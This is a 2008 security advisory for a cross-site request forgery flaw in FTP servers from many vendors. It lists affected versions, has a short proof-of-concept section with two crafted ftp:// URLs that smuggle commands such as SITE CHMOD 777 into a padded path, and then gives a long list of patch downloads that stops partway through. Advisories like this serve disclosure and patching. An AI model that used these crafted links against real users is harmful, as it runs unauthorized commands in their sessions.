BID:31289

Multiple Vendor FTP Server Long Command Handling Security Vulnerability

Info

Multiple Vendor FTP Server Long Command Handling Security Vulnerability

Bugtraq ID:	31289
Class:	Design Error
CVE:	CVE-2008-4247 CVE-2008-4242 CVE-2008-7016
Remote:	Yes
Local:	No
Published:	Sep 20 2008 12:00AM
Updated:	Apr 13 2015 09:30PM
Credit:	Maksymilian Arciemowicz, SecurityReason
Vulnerable:	tnftpd tnftpd 20080609 Sun Solaris 9_x86 Sun Solaris 9_sparc Sun Solaris 8_x86 Sun Solaris 8_sparc Sun Solaris 10_x86 Sun Solaris 10_sparc SmbFTPD SmbFTPD 2.1 ProFTPD Project ProFTPD 1.3.1 OpenBSD OpenBSD 4.3 NetBSD NetBSD 3.0.2 NetBSD NetBSD 3.0.1 NetBSD NetBSD Current NetBSD NetBSD 4.0 BETA2 NetBSD NetBSD 4.0 NetBSD NetBSD 4,0_Beta NetBSD NetBSD 3.1_RC3 NetBSD NetBSD 3.1 Navision Financials Server 3.0 Mandriva Linux Mandrake 2009.0 x86_64 Mandriva Linux Mandrake 2009.0 Mandriva Linux Mandrake 2008.1 x86_64 Mandriva Linux Mandrake 2008.1 Mandriva Linux Mandrake 2008.0 x86_64 Mandriva Linux Mandrake 2008.0 MandrakeSoft Corporate Server 4.0 x86_64 MandrakeSoft Corporate Server 3.0 x86_64 MandrakeSoft Corporate Server 3.0 MandrakeSoft Corporate Server 4.0 Luke Mewburn lukemftp 0 FreeBSD FreeBSD 7.1 -RELEASE-p1 FreeBSD FreeBSD 7.1 -PRE-RELEASE FreeBSD FreeBSD 7.0-STABLE FreeBSD FreeBSD 7.0-RELEASE FreeBSD FreeBSD 7.0 -RELENG FreeBSD FreeBSD 7.0 FreeBSD FreeBSD 6.4 -RELEASE FreeBSD FreeBSD 6.3 -RELENG FreeBSD FreeBSD 6.3 Debian Linux 4.0 sparc Debian Linux 4.0 s/390 Debian Linux 4.0 powerpc Debian Linux 4.0 mipsel Debian Linux 4.0 mips Debian Linux 4.0 m68k Debian Linux 4.0 ia-64 Debian Linux 4.0 ia-32 Debian Linux 4.0 hppa Debian Linux 4.0 arm Debian Linux 4.0 amd64 Debian Linux 4.0 alpha Debian Linux 4.0 Bsdperimeter pfSense 1.2.1 Bsdperimeter pfSense 1.2-RC4 Bsdperimeter pfSense 1.2-RC3 Bsdperimeter pfSense 1.2-RC2 Bsdperimeter pfSense 1.2-RC1 Bsdperimeter pfSense 1.2

Not Vulnerable:	tnftpd tnftpd 20080929 SmbFTPD SmbFTPD 2.2 Bsdperimeter pfSense 1.2.2

Discussion

Multiple Vendor FTP Server Long Command Handling Security Vulnerability

FTP servers by multiple vendors are prone to a security vulnerability that allows attackers to perform cross-site request-forgery attacks.

Successful exploits can run arbitrary FTP commands on the server in the context of an unsuspecting user's session. This may lead to further attacks.

Exploit / POC

Multiple Vendor FTP Server Long Command Handling Security Vulnerability

Attackers can exploit this issue by enticing an unsuspecting user into following a malicious link.

The following examples are available:

ftp://[email protected]////////////////////////////////////////////////
//////////////////////////////////////////////////////////////////////
//////////////////////////////////////////////////////////////////////
//////////////////////////////////////////////////////////////////////
//////////////////////////////////////////////////////////////////////
//////////////////////////////////////////////////////////////////////
//////////////////////////////////////////////////////////////////////
/////////////////////////////////////syst

ftp://ftp.example.com/////////////////////////////////////////////////
//////////////////////////////////////////////////////////////////////
//////////////////////////////////////////////////////////////////////
//////////////////////////////////////////////////////////////////////
//////////////////////////////////////////////////////////////////////
//////////////////////////////////////////////////////////////////////
//////////////////////////////////////////////////////////////////////
/////////////////////////////////////SITE%20CHMOD%20777%20EXAMPLEFILE

Solution / Fix

Multiple Vendor FTP Server Long Command Handling Security Vulnerability

Solution:
Updates are available. Please see the references for more information.

Mandriva Linux Mandrake 2008.1 x86_64

Mandriva proftpd-1.3.2-0.1mdv2008.1.x86_64.rpm
http://www.mandriva.com/en/download/

Mandriva proftpd-devel-1.3.2-0.1mdv2008.1.x86_64.rpm
http://www.mandriva.com/en/download/

Mandriva proftpd-mod_autohost-1.3.2-0.1mdv2008.1.x86_64.rpm
http://www.mandriva.com/en/download/

Mandriva proftpd-mod_ban-1.3.2-0.1mdv2008.1.x86_64.rpm
http://www.mandriva.com/en/download/

Mandriva proftpd-mod_case-1.3.2-0.1mdv2008.1.x86_64.rpm
http://www.mandriva.com/en/download/

Mandriva proftpd-mod_ctrls_admin-1.3.2-0.1mdv2008.1.x86_64.rpm
http://www.mandriva.com/en/download/

Mandriva proftpd-mod_gss-1.3.2-0.1mdv2008.1.x86_64.rpm
http://www.mandriva.com/en/download/

Mandriva proftpd-mod_ifsession-1.3.2-0.1mdv2008.1.x86_64.rpm
http://www.mandriva.com/en/download/

Mandriva proftpd-mod_ldap-1.3.2-0.1mdv2008.1.x86_64.rpm
http://www.mandriva.com/en/download/

Mandriva proftpd-mod_load-1.3.2-0.1mdv2008.1.x86_64.rpm
http://www.mandriva.com/en/download/

Mandriva proftpd-mod_quotatab-1.3.2-0.1mdv2008.1.x86_64.rpm
http://www.mandriva.com/en/download/

Mandriva proftpd-mod_quotatab_file-1.3.2-0.1mdv2008.1.x86_64.rpm
http://www.mandriva.com/en/download/

Mandriva proftpd-mod_quotatab_ldap-1.3.2-0.1mdv2008.1.x86_64.rpm
http://www.mandriva.com/en/download/

Mandriva proftpd-mod_quotatab_radius-1.3.2-0.1mdv2008.1.x86_64.rpm
http://www.mandriva.com/en/download/

Mandriva proftpd-mod_quotatab_sql-1.3.2-0.1mdv2008.1.x86_64.rpm
http://www.mandriva.com/en/download/

Mandriva proftpd-mod_radius-1.3.2-0.1mdv2008.1.x86_64.rpm
http://www.mandriva.com/en/download/

Mandriva proftpd-mod_ratio-1.3.2-0.1mdv2008.1.x86_64.rpm
http://www.mandriva.com/en/download/

Mandriva proftpd-mod_rewrite-1.3.2-0.1mdv2008.1.x86_64.rpm
http://www.mandriva.com/en/download/

Mandriva proftpd-mod_shaper-1.3.2-0.1mdv2008.1.x86_64.rpm
http://www.mandriva.com/en/download/

Mandriva proftpd-mod_site_misc-1.3.2-0.1mdv2008.1.x86_64.rpm
http://www.mandriva.com/en/download/

Mandriva proftpd-mod_sql-1.3.2-0.1mdv2008.1.x86_64.rpm
http://www.mandriva.com/en/download/

Mandriva proftpd-mod_sql_mysql-1.3.2-0.1mdv2008.1.x86_64.rpm
http://www.mandriva.com/en/download/

Mandriva proftpd-mod_sql_postgres-1.3.2-0.1mdv2008.1.x86_64.rpm
http://www.mandriva.com/en/download/

Mandriva proftpd-mod_time-1.3.2-0.1mdv2008.1.x86_64.rpm
http://www.mandriva.com/en/download/

Mandriva proftpd-mod_tls-1.3.2-0.1mdv2008.1.x86_64.rpm
http://www.mandriva.com/en/download/

Mandriva proftpd-mod_wrap-1.3.2-0.1mdv2008.1.x86_64.rpm
http://www.mandriva.com/en/download/

Mandriva proftpd-mod_wrap_file-1.3.2-0.1mdv2008.1.x86_64.rpm
http://www.mandriva.com/en/download/

Mandriva proftpd-mod_wrap_sql-1.3.2-0.1mdv2008.1.x86_64.rpm
http://www.mandriva.com/en/download/

Debian Linux 4.0 arm

Debian proftpd-doc_1.3.0-19etch2_all.deb
http://security.debian.org/pool/updates/main/p/proftpd-dfsg/proftpd-do c_1.3.0-19etch2_all.deb

Debian proftpd-ldap_1.3.0-19etch2_all.deb
http://security.debian.org/pool/updates/main/p/proftpd-dfsg/proftpd-ld ap_1.3.0-19etch2_all.deb

Debian proftpd-mysql_1.3.0-19etch2_all.deb
http://security.debian.org/pool/updates/main/p/proftpd-dfsg/proftpd-my sql_1.3.0-19etch2_all.deb

Debian proftpd-pgsql_1.3.0-19etch2_all.deb
http://security.debian.org/pool/updates/main/p/proftpd-dfsg/proftpd-pg sql_1.3.0-19etch2_all.deb

Debian proftpd_1.3.0-19etch2_arm.deb
http://security.debian.org/pool/updates/main/p/proftpd-dfsg/proftpd_1. 3.0-19etch2_arm.deb

Mandriva Linux Mandrake 2008.1

Mandriva proftpd-1.3.2-0.1mdv2008.1.i586.rpm
http://www.mandriva.com/en/download/

Mandriva proftpd-devel-1.3.2-0.1mdv2008.1.i586.rpm
http://www.mandriva.com/en/download/

Mandriva proftpd-mod_autohost-1.3.2-0.1mdv2008.1.i586.rpm
http://www.mandriva.com/en/download/

Mandriva proftpd-mod_ban-1.3.2-0.1mdv2008.1.i586.rpm
http://www.mandriva.com/en/download/

Mandriva proftpd-mod_case-1.3.2-0.1mdv2008.1.i586.rpm
http://www.mandriva.com/en/download/

Mandriva proftpd-mod_ctrls_admin-1.3.2-0.1mdv2008.1.i586.rpm
http://www.mandriva.com/en/download/

Mandriva proftpd-mod_gss-1.3.2-0.1mdv2008.1.i586.rpm
http://www.mandriva.com/en/download/

Mandriva proftpd-mod_ifsession-1.3.2-0.1mdv2008.1.i586.rpm
http://www.mandriva.com/en/download/

Mandriva proftpd-mod_ldap-1.3.2-0.1mdv2008.1.i586.rpm
http://www.mandriva.com/en/download/

Mandriva proftpd-mod_load-1.3.2-0.1mdv2008.1.i586.rpm
http://www.mandriva.com/en/download/

Mandriva proftpd-mod_quotatab-1.3.2-0.1mdv2008.1.i586.rpm
http://www.mandriva.com/en/download/

Mandriva proftpd-mod_quotatab_file-1.3.2-0.1mdv2008.1.i586.rpm
http://www.mandriva.com/en/download/

Mandriva proftpd-mod_quotatab_ldap-1.3.2-0.1mdv2008.1.i586.rpm
http://www.mandriva.com/en/download/

Mandriva proftpd-mod_quotatab_radius-1.3.2-0.1mdv2008.1.i586.rpm
http://www.mandriva.com/en/download/

Mandriva proftpd-mod_quotatab_sql-1.3.2-0.1mdv2008.1.i586.rpm
http://www.mandriva.com/en/download/

Mandriva proftpd-mod_radius-1.3.2-0.1mdv2008.1.i586.rpm
http://www.mandriva.com/en/download/

Mandriva proftpd-mod_ratio-1.3.2-0.1mdv2008.1.i586.rpm
http://www.mandriva.com/en/download/

Mandriva proftpd-mod_rewrite-1.3.2-0.1mdv2008.1.i586.rpm
http://www.mandriva.com/en/download/

Mandriva proftpd-mod_shaper-1.3.2-0.1mdv2008.1.i586.rpm
http://www.mandriva.com/en/download/

Mandriva proftpd-mod_site_misc-1.3.2-0.1mdv2008.1.i586.rpm
http://www.mandriva.com/en/download/

Mandriva proftpd-mod_sql-1.3.2-0.1mdv2008.1.i586.rpm
http://www.mandriva.com/en/download/

Mandriva proftpd-mod_sql_mysql-1.3.2-0.1mdv2008.1.i586.rpm
http://www.mandriva.com/en/download/

Mandriva proftpd-mod_sql_postgres-1.3.2-0.1mdv2008.1.i586.rpm
http://www.mandriva.com/en/download/

Mandriva proftpd-mod_time-1.3.2-0.1mdv2008.1.i586.rpm
http://www.mandriva.com/en/download/

Mandriva proftpd-mod_tls-1.3.2-0.1mdv2008.1.i586.rpm
http://www.mandriva.com/en/download/

Mandriva proftpd-mod_wrap-1.3.2-0.1mdv2008.1.i586.rpm
http://www.mandriva.com/en/download/

Mandriva proftpd-mod_wrap_file-1.3.2-0.1mdv2008.1.i586.rpm
http://www.mandriva.com/en/download/

Mandriva proftpd-mod_wrap_sql-1.3.2-0.1mdv2008.1.i586.rpm
http://www.mandriva.com/en/download/

Debian Linux 4.0 powerpc

Debian proftpd-doc_1.3.0-19etch2_all.deb
http://security.debian.org/pool/updates/main/p/proftpd-dfsg/proftpd-do c_1.3.0-19etch2_all.deb

Debian proftpd-ldap_1.3.0-19etch2_all.deb
http://security.debian.org/pool/updates/main/p/proftpd-dfsg/proftpd-ld ap_1.3.0-19etch2_all.deb

Debian proftpd-mysql_1.3.0-19etch2_all.deb
http://security.debian.org/pool/updates/main/p/proftpd-dfsg/proftpd-my sql_1.3.0-19etch2_all.deb

Debian proftpd-pgsql_1.3.0-19etch2_all.deb
http://security.debian.org/pool/updates/main/p/proftpd-dfsg/proftpd-pg sql_1.3.0-19etch2_all.deb

Debian proftpd_1.3.0-19etch2_powerpc.deb
http://security.debian.org/pool/updates/main/p/proftpd-dfsg/proftpd_1. 3.0-19etch2_powerpc.deb

Debian Linux 4.0 m68k

Debian proftpd-doc_1.3.0-19etch2_all.deb
http://security.debian.org/pool/updates/main/p/proftpd-dfsg/proftpd-do c_1.3.0-19etch2_all.deb

Debian proftpd-ldap_1.3.0-19etch2_all.deb
http://security.debian.org/pool/updates/main/p/proftpd-dfsg/proftpd-ld ap_1.3.0-19etch2_all.deb

Debian proftpd-mysql_1.3.0-19etch2_all.deb
http://security.debian.org/pool/updates/main/p/proftpd-dfsg/proftpd-my sql_1.3.0-19etch2_all.deb

Debian proftpd-pgsql_1.3.0-19etch2_all.deb
http://security.debian.org/pool/updates/main/p/proftpd-dfsg/proftpd-pg sql_1.3.0-19etch2_all.deb

Mandriva Linux Mandrake 2008.0 x86_64

Mandriva proftpd-1.3.2-0.1mdv2008.0.x86_64.rpm
http://www.mandriva.com/en/download/

Mandriva proftpd-devel-1.3.2-0.1mdv2008.0.x86_64.rpm
http://www.mandriva.com/en/download/

Mandriva proftpd-mod_autohost-1.3.2-0.1mdv2008.0.x86_64.rpm
http://www.mandriva.com/en/download/

Mandriva proftpd-mod_ban-1.3.2-0.1mdv2008.0.x86_64.rpm
http://www.mandriva.com/en/download/

Mandriva proftpd-mod_case-1.3.2-0.1mdv2008.0.x86_64.rpm
http://www.mandriva.com/en/download/

Mandriva proftpd-mod_ctrls_admin-1.3.2-0.1mdv2008.0.x86_64.rpm
http://www.mandriva.com/en/download/

Mandriva proftpd-mod_gss-1.3.2-0.1mdv2008.0.x86_64.rpm
http://www.mandriva.com/en/download/

Mandriva proftpd-mod_ifsession-1.3.2-0.1mdv2008.0.x86_64.rpm
http://www.mandriva.com/en/download/

Mandriva proftpd-mod_ldap-1.3.2-0.1mdv2008.0.x86_64.rpm
http://www.mandriva.com/en/download/

Mandriva proftpd-mod_load-1.3.2-0.1mdv2008.0.x86_64.rpm
http://www.mandriva.com/en/download/

Mandriva proftpd-mod_quotatab-1.3.2-0.1mdv2008.0.x86_64.rpm
http://www.mandriva.com/en/download/

Mandriva proftpd-mod_quotatab_file-1.3.2-0.1mdv2008.0.x86_64.rpm
http://www.mandriva.com/en/download/

Mandriva proftpd-mod_quotatab_ldap-1.3.2-0.1mdv2008.0.x86_64.rpm
http://www.mandriva.com/en/download/

Mandriva proftpd-mod_quotatab_radius-1.3.2-0.1mdv2008.0.x86_64.rpm
http://www.mandriva.com/en/download/

Mandriva proftpd-mod_quotatab_sql-1.3.2-0.1mdv2008.0.x86_64.rpm
http://www.mandriva.com/en/download/

Mandriva proftpd-mod_radius-1.3.2-0.1mdv2008.0.x86_64.rpm
http://www.mandriva.com/en/download/

Mandriva proftpd-mod_ratio-1.3.2-0.1mdv2008.0.x86_64.rpm
http://www.mandriva.com/en/download/

Mandriva proftpd-mod_rewrite-1.3.2-0.1mdv2008.0.x86_64.rpm
http://www.mandriva.com/en/download/

Mandriva proftpd-mod_shaper-1.3.2-0.1mdv2008.0.x86_64.rpm
http://www.mandriva.com/en/download/

Mandriva proftpd-mod_site_misc-1.3.2-0.1mdv2008.0.x86_64.rpm
http://www.mandriva.com/en/download/

Mandriva proftpd-mod_sql-1.3.2-0.1mdv2008.0.x86_64.rpm
http://www.mandriva.com/en/download/

Mandriva proftpd-mod_sql_mysql-1.3.2-0.1mdv2008.0.x86_64.rpm
http://www.mandriva.com/en/download/

Mandriva proftpd-mod_sql_postgres-1.3.2-0.1mdv2008.0.x86_64.rpm
http://www.mandriva.com/en/download/

Mandriva proftpd-mod_time-1.3.2-0.1mdv2008.0.x86_64.rpm
http://www.mandriva.com/en/download/

Mandriva proftpd-mod_tls-1.3.2-0.1mdv2008.0.x86_64.rpm
http://www.mandriva.com/en/download/

Mandriva proftpd-mod_wrap-1.3.2-0.1mdv2008.0.x86_64.rpm
http://www.mandriva.com/en/download/

Mandriva proftpd-mod_wrap_file-1.3.2-0.1mdv2008.0.x86_64.rpm
http://www.mandriva.com/en/download/

Mandriva proftpd-mod_wrap_sql-1.3.2-0.1mdv2008.0.x86_64.rpm
http://www.mandriva.com/en/download/

Mandriva Linux Mandrake 2008.0

Mandriva proftpd-1.3.2-0.1mdv2008.0.i586.rpm
http://www.mandriva.com/en/download/

Mandriva proftpd-devel-1.3.2-0.1mdv2008.0.i586.rpm
http://www.mandriva.com/en/download/

Mandriva proftpd-mod_autohost-1.3.2-0.1mdv2008.0.i586.rpm
http://www.mandriva.com/en/download/

Mandriva proftpd-mod_ban-1.3.2-0.1mdv2008.0.i586.rpm
http://www.mandriva.com/en/download/

Mandriva proftpd-mod_case-1.3.2-0.1mdv2008.0.i586.rpm
http://www.mandriva.com/en/download/

Mandriva proftpd-mod_ctrls_admin-1.3.2-0.1mdv2008.0.i586.rpm
http://www.mandriva.com/en/download/

Mandriva proftpd-mod_gss-1.3.2-0.1mdv2008.0.i586.rpm
http://www.mandriva.com/en/download/

Mandriva proftpd-mod_ifsession-1.3.2-0.1mdv2008.0.i586.rpm
http://www.mandriva.com/en/download/

Mandriva proftpd-mod_ldap-1.3.2-0.1mdv2008.0.i586.rpm
http://www.mandriva.com/en/download/

Mandriva proftpd-mod_load-1.3.2-0.1mdv2008.0.i586.rpm
http://www.mandriva.com/en/download/

Mandriva proftpd-mod_quotatab-1.3.2-0.1mdv2008.0.i586.rpm
http://www.mandriva.com/en/download/

Mandriva proftpd-mod_quotatab_file-1.3.2-0.1mdv2008.0.i586.rpm
http://www.mandriva.com/en/download/

Mandriva proftpd-mod_quotatab_ldap-1.3.2-0.1mdv2008.0.i586.rpm
http://www.mandriva.com/en/download/

Mandriva proftpd-mod_quotatab_radius-1.3.2-0.1mdv2008.0.i586.rpm
http://www.mandriva.com/en/download/

Mandriva proftpd-mod_quotatab_sql-1.3.2-0.1mdv2008.0.i586.rpm
http://www.mandriva.com/en/download/

Mandriva proftpd-mod_radius-1.3.2-0.1mdv2008.0.i586.rpm
http://www.mandriva.com/en/download/

Mandriva proftpd-mod_ratio-1.3.2-0.1mdv2008.0.i586.rpm
http://www.mandriva.com/en/download/

Mandriva proftpd-mod_rewrite-1.3.2-0.1mdv2008.0.i586.rpm
http://www.mandriva.com/en/download/

Mandriva proftpd-mod_shaper-1.3.2-0.1mdv2008.0.i586.rpm
http://www.mandriva.com/en/download/

Mandriva proftpd-mod_site_misc-1.3.2-0.1mdv2008.0.i586.rpm
http://www.mandriva.com/en/download/

Mandriva proftpd-mod_sql-1.3.2-0.1mdv2008.0.i586.rpm
http://www.mandriva.com/en/download/

Mandriva proftpd-mod_sql_mysql-1.3.2-0.1mdv2008.0.i586.rpm
http://www.mandriva.com/en/download/

Mandriva proftpd-mod_sql_postgres-1.3.2-0.1mdv2008.0.i586.rpm
http://www.mandriva.com/en/download/

Mandriva proftpd-mod_time-1.3.2-0.1mdv2008.0.i586.rpm
http://www.mandriva.com/en/download/

Mandriva proftpd-mod_tls-1.3.2-0.1mdv2008.0.i586.rpm
http://www.mandriva.com/en/download/

Mandriva proftpd-mod_wrap-1.3.2-0.1mdv2008.0.i586.rpm
http://www.mandriva.com/en/download/

Mandriva proftpd-mod_wrap_file-1.3.2-0.1mdv2008.0.i586.rpm
http://www.mandriva.com/en/download/

Mandriva proftpd-mod_wrap_sql-1.3.2-0.1mdv2008.0.i586.rpm
http://www.mandriva.com/en/download/

Bsdperimeter pfSense 1.2-RC4

BSD Perimeter pfSense-Full-Update-1.2.2.tgz
http://files.pfsense.org/mirror/updates/pfSense-Full-Update-1.2.2.tgz

Bsdperimeter pfSense 1.2-RC3

BSD Perimeter pfSense-Full-Update-1.2.2.tgz
http://files.pfsense.org/mirror/updates/pfSense-Full-Update-1.2.2.tgz

Debian Linux 4.0 amd64

Debian proftpd-doc_1.3.0-19etch2_all.deb
http://security.debian.org/pool/updates/main/p/proftpd-dfsg/proftpd-do c_1.3.0-19etch2_all.deb

Debian proftpd-ldap_1.3.0-19etch2_all.deb
http://security.debian.org/pool/updates/main/p/proftpd-dfsg/proftpd-ld ap_1.3.0-19etch2_all.deb

Debian proftpd-mysql_1.3.0-19etch2_all.deb
http://security.debian.org/pool/updates/main/p/proftpd-dfsg/proftpd-my sql_1.3.0-19etch2_all.deb

Debian proftpd-pgsql_1.3.0-19etch2_all.deb
http://security.debian.org/pool/updates/main/p/proftpd-dfsg/proftpd-pg sql_1.3.0-19etch2_all.deb

Debian proftpd_1.3.0-19etch2_amd64.deb
http://security.debian.org/pool/updates/main/p/proftpd-dfsg/proftpd_1. 3.0-19etch2_amd64.deb

Debian Linux 4.0 ia-32

Debian proftpd-doc_1.3.0-19etch2_all.deb
http://security.debian.org/pool/updates/main/p/proftpd-dfsg/proftpd-do c_1.3.0-19etch2_all.deb

Debian proftpd-ldap_1.3.0-19etch2_all.deb
http://security.debian.org/pool/updates/main/p/proftpd-dfsg/proftpd-ld ap_1.3.0-19etch2_all.deb

Debian proftpd-mysql_1.3.0-19etch2_all.deb
http://security.debian.org/pool/updates/main/p/proftpd-dfsg/proftpd-my sql_1.3.0-19etch2_all.deb

Debian proftpd-pgsql_1.3.0-19etch2_all.deb
http://security.debian.org/pool/updates/main/p/proftpd-dfsg/proftpd-pg sql_1.3.0-19etch2_all.deb

Debian proftpd_1.3.0-19etch2_i386.deb
http://security.debian.org/pool/updates/main/p/proftpd-dfsg/proftpd_1. 3.0-19etch2_i386.deb

Debian Linux 4.0 hppa

Debian proftpd-doc_1.3.0-19etch2_all.deb
http://security.debian.org/pool/updates/main/p/proftpd-dfsg/proftpd-do c_1.3.0-19etch2_all.deb

Debian proftpd-ldap_1.3.0-19etch2_all.deb
http://security.debian.org/pool/updates/main/p/proftpd-dfsg/proftpd-ld ap_1.3.0-19etch2_all.deb

Debian proftpd-mysql_1.3.0-19etch2_all.deb
http://security.debian.org/pool/updates/main/p/proftpd-dfsg/proftpd-my sql_1.3.0-19etch2_all.deb

Debian proftpd-pgsql_1.3.0-19etch2_all.deb
http://security.debian.org/pool/updates/main/p/proftpd-dfsg/proftpd-pg sql_1.3.0-19etch2_all.deb

Debian proftpd_1.3.0-19etch2_hppa.deb
http://security.debian.org/pool/updates/main/p/proftpd-dfsg/proftpd_1. 3.0-19etch2_hppa.deb

Debian Linux 4.0 sparc

Debian proftpd-doc_1.3.0-19etch2_all.deb
http://security.debian.org/pool/updates/main/p/proftpd-dfsg/proftpd-do c_1.3.0-19etch2_all.deb

Debian proftpd-ldap_1.3.0-19etch2_all.deb
http://security.debian.org/pool/updates/main/p/proftpd-dfsg/proftpd-ld ap_1.3.0-19etch2_all.deb

Debian proftpd-mysql_1.3.0-19etch2_all.deb
http://security.debian.org/pool/updates/main/p/proftpd-dfsg/proftpd-my sql_1.3.0-19etch2_all.deb

Debian proftpd-pgsql_1.3.0-19etch2_all.deb
http://security.debian.org/pool/updates/main/p/proftpd-dfsg/proftpd-pg sql_1.3.0-19etch2_all.deb

Debian proftpd_1.3.0-19etch2_sparc.deb
http://security.debian.org/pool/updates/main/p/proftpd-dfsg/proftpd_1. 3.0-19etch2_sparc.deb

Debian Linux 4.0 s/390

Debian proftpd-doc_1.3.0-19etch2_all.deb
http://security.debian.org/pool/updates/main/p/proftpd-dfsg/proftpd-do c_1.3.0-19etch2_all.deb

Debian proftpd-ldap_1.3.0-19etch2_all.deb
http://security.debian.org/pool/updates/main/p/proftpd-dfsg/proftpd-ld ap_1.3.0-19etch2_all.deb

Debian proftpd-mysql_1.3.0-19etch2_all.deb
http://security.debian.org/pool/updates/main/p/proftpd-dfsg/proftpd-my sql_1.3.0-19etch2_all.deb

Debian proftpd-pgsql_1.3.0-19etch2_all.deb
http://security.debian.org/pool/updates/main/p/proftpd-dfsg/proftpd-pg sql_1.3.0-19etch2_all.deb

Debian proftpd_1.3.0-19etch2_s390.deb
http://security.debian.org/pool/updates/main/p/proftpd-dfsg/proftpd_1. 3.0-19etch2_s390.deb

Bsdperimeter pfSense 1.2-RC1

BSD Perimeter pfSense-Full-Update-1.2.2.tgz
http://files.pfsense.org/mirror/updates/pfSense-Full-Update-1.2.2.tgz

Mandriva Linux Mandrake 2009.0

Mandriva proftpd-1.3.2-0.1mdv2009.0.i586.rpm
http://www.mandriva.com/en/download/

Mandriva proftpd-devel-1.3.2-0.1mdv2009.0.i586.rpm
http://www.mandriva.com/en/download/

Mandriva proftpd-mod_autohost-1.3.2-0.1mdv2009.0.i586.rpm
http://www.mandriva.com/en/download/

Mandriva proftpd-mod_ban-1.3.2-0.1mdv2009.0.i586.rpm
http://www.mandriva.com/en/download/

Mandriva proftpd-mod_case-1.3.2-0.1mdv2009.0.i586.rpm
http://www.mandriva.com/en/download/

Mandriva proftpd-mod_ctrls_admin-1.3.2-0.1mdv2009.0.i586.rpm
http://www.mandriva.com/en/download/

Mandriva proftpd-mod_gss-1.3.2-0.1mdv2009.0.i586.rpm
http://www.mandriva.com/en/download/

Mandriva proftpd-mod_ifsession-1.3.2-0.1mdv2009.0.i586.rpm
http://www.mandriva.com/en/download/

Mandriva proftpd-mod_ldap-1.3.2-0.1mdv2009.0.i586.rpm
http://www.mandriva.com/en/download/

Mandriva proftpd-mod_load-1.3.2-0.1mdv2009.0.i586.rpm
http://www.mandriva.com/en/download/

Mandriva proftpd-mod_quotatab-1.3.2-0.1mdv2009.0.i586.rpm
http://www.mandriva.com/en/download/

Mandriva proftpd-mod_quotatab_file-1.3.2-0.1mdv2009.0.i586.rpm
http://www.mandriva.com/en/download/

Mandriva proftpd-mod_quotatab_ldap-1.3.2-0.1mdv2009.0.i586.rpm
http://www.mandriva.com/en/download/

Mandriva proftpd-mod_quotatab_radius-1.3.2-0.1mdv2009.0.i586.rpm
http://www.mandriva.com/en/download/

Mandriva proftpd-mod_quotatab_sql-1.3.2-0.1mdv2009.0.i586.rpm
http://www.mandriva.com/en/download/

Mandriva proftpd-mod_radius-1.3.2-0.1mdv2009.0.i586.rpm
http://www.mandriva.com/en/download/

Mandriva proftpd-mod_ratio-1.3.2-0.1mdv2009.0.i586.rpm
http://www.mandriva.com/en/download/

Mandriva proftpd-mod_rewrite-1.3.2-0.1mdv2009.0.i586.rpm
http://www.mandriva.com/en/download/

Mandriva proftpd-mod_shaper-1.3.2-0.1mdv2009.0.i586.rpm
http://www.mandriva.com/en/download/

Mandriva proftpd-mod_site_misc-1.3.2-0.1mdv2009.0.i586.rpm
http://www.mandriva.com/en/download/

Mandriva proftpd-mod_sql-1.3.2-0.1mdv2009.0.i586.rpm
http://www.mandriva.com/en/download/

Mandriva proftpd-mod_sql_mysql-1.3.2-0.1mdv2009.0.i586.rpm
http://www.mandriva.com/en/download/

Mandriva proftpd-mod_sql_postgres-1.3.2-0.1mdv2009.0.i586.rpm
http://www.mandriva.com/en/download/

Mandriva proftpd-mod_time-1.3.2-0.1mdv2009.0.i586.rpm
http://www.mandriva.com/en/download/

Mandriva proftpd-mod_tls-1.3.2-0.1mdv2009.0.i586.rpm
http://www.mandriva.com/en/download/

Mandriva proftpd-mod_vroot-1.3.2-0.1mdv2009.0.i586.rpm
http://www.mandriva.com/en/download/

Mandriva proftpd-mod_wrap-1.3.2-0.1mdv2009.0.i586.rpm
http://www.mandriva.com/en/download/

Mandriva proftpd-mod_wrap_file-1.3.2-0.1mdv2009.0.i586.rpm
http://www.mandriva.com/en/download/

Mandriva proftpd-mod_wrap_sql-1.3.2-0.1mdv2009.0.i586.rpm
http://www.mandriva.com/en/download/

Debian Linux 4.0 alpha

Debian proftpd-doc_1.3.0-19etch2_all.deb
http://security.debian.org/pool/updates/main/p/proftpd-dfsg/proftpd-do c_1.3.0-19etch2_all.deb

Debian proftpd-ldap_1.3.0-19etch2_all.deb
http://security.debian.org/pool/updates/main/p/proftpd-dfsg/proftpd-ld ap_1.3.0-19etch2_all.deb

Debian proftpd-mysql_1.3.0-19etch2_all.deb
http://security.debian.org/pool/updates/main/p/proftpd-dfsg/proftpd-my sql_1.3.0-19etch2_all.deb

Debian proftpd-pgsql_1.3.0-19etch2_all.deb
http://security.debian.org/pool/updates/main/p/proftpd-dfsg/proftpd-pg sql_1.3.0-19etch2_all.deb

Debian proftpd_1.3.0-19etch2_alpha.deb
http://security.debian.org/pool/updates/main/p/proftpd-dfsg/proftpd_1. 3.0-19etch2_alpha.deb

MandrakeSoft Corporate Server 4.0

Mandriva proftpd-1.3.2-0.1.20060mlcs4.i586.rpm
http://www.mandriva.com/en/download/

Mandriva proftpd-anonymous-1.3.2-0.1.20060mlcs4.i586.rpm
http://www.mandriva.com/en/download/

Debian Linux 4.0

Debian proftpd-doc_1.3.0-19etch2_all.deb
http://security.debian.org/pool/updates/main/p/proftpd-dfsg/proftpd-do c_1.3.0-19etch2_all.deb

Debian proftpd-ldap_1.3.0-19etch2_all.deb
http://security.debian.org/pool/updates/main/p/proftpd-dfsg/proftpd-ld ap_1.3.0-19etch2_all.deb

Debian proftpd-mysql_1.3.0-19etch2_all.deb
http://security.debian.org/pool/updates/main/p/proftpd-dfsg/proftpd-my sql_1.3.0-19etch2_all.deb

Debian proftpd-pgsql_1.3.0-19etch2_all.deb
http://security.debian.org/pool/updates/main/p/proftpd-dfsg/proftpd-pg sql_1.3.0-19etch2_all.deb

Debian Linux 4.0 mipsel

Debian proftpd-doc_1.3.0-19etch2_all.deb
http://security.debian.org/pool/updates/main/p/proftpd-dfsg/proftpd-do c_1.3.0-19etch2_all.deb

Debian proftpd-ldap_1.3.0-19etch2_all.deb
http://security.debian.org/pool/updates/main/p/proftpd-dfsg/proftpd-ld ap_1.3.0-19etch2_all.deb

Debian proftpd-mysql_1.3.0-19etch2_all.deb
http://security.debian.org/pool/updates/main/p/proftpd-dfsg/proftpd-my sql_1.3.0-19etch2_all.deb

Debian proftpd-pgsql_1.3.0-19etch2_all.deb
